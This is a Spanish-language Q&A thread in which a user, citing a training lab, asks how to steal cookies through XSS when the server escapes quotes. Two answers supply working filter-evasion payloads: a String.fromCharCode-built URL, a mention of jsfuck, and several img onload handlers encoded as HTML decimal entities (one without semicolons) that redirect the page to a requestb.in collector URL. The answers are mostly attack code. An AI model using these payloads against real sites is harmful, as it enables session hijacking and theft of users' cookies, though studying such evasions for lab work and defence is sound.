XSS: ¿enviar una cookie sin usar comillas o comillas dobles?

1

Estoy intentando robar una cookie usando XSS en un laboratorio de capacitación. El problema es que el servidor escapa a mis citas y comillas dobles. Así que si quiero usar esta carga útil, por ejemplo:

<script>document.location="http://requestb.in/XXXXXXX"</script>

No se realiza ninguna solicitud GET para " enlace " debido a que ' y " se escapan. ( ' se convierte en \' y " se convierte en '+String.fromCharCode(34) ), por lo que la carga útil se convierte en:

<script>document.location=\'http://requestb.in/XXXXXXX"=\'</script>

O

<script>document.location='+String.fromCharCode(34)+'http://requestb.in/XXXXXXX'+String.fromCharCode(34)+'</script>

Entonces, ¿qué otros medios puede usar uno para realizar un robo de cookies en esas condiciones?

Saludos

    
pregunta george 27.08.2016 - 14:55
fuente

2 respuestas

4

No necesitas comillas. Una posibilidad sería utilizar String.fromCharCode:

<script>
document.location=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 101, 120, 97, 109, 112, 108, 101, 46, 99, 111, 109, 47, 102, 111, 111, 98, 97, 114)
</script>

También hay siempre jsfuck, que te permite ejecutar JavaScript arbitrario con solo ()[]+! .

    
respondido por el tim 27.08.2016 - 15:10
fuente
1

Si no es necesario usar una etiqueta de script, puedes usar etiquetas HTML como iframe o img, la mayoría de los navegadores pueden interpretarlas sin comillas ni comillas dobles.

<img src=http://requestb.in/XXXXXXX />

Además, puede utilizar caracteres decimales en HTML en los métodos de etiquetas HTML.

<img src=# onload=&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#114;&#101&#113;&#117;&#101;&#115;&#116;&#98;&#46;&#105;&#110;&#47;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#39; />

<img src=# onload=document.location=&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#114;&#101&#113;&#117;&#101;&#115;&#116;&#98;&#46;&#105;&#110;&#47;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#88;&#39; />

<img src=# onload=document.location=&#39;http://requestb.in/XXXXXXXX&#39; />

Muestra sin punto y coma:

<img src=# onload=&#0000100&#0000111&#0000099&#0000117&#0000109&#0000101&#0000110&#0000116&#0000046&#0000108&#0000111&#0000099&#0000097&#0000116&#0000105&#0000111&#0000110&#0000061&#0000039&#0000104&#0000116&#0000116&#0000112&#0000058&#0000047&#0000047&#0000114&#0000101&#0000113&#0000117&#0000101&#0000115&#0000116&#0000098&#0000046&#0000105&#0000110&#0000047&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000088&#0000039 />

Las últimas cuatro muestras son equivalentes al siguiente código:

<img src=# onload="document.location='http://requestb.in/XXXXXXXX'" />

Espero que esta información te ayude, buena suerte.

    
respondido por el hmrojas.p 31.08.2016 - 08:25
fuente

Lea otras preguntas en las etiquetas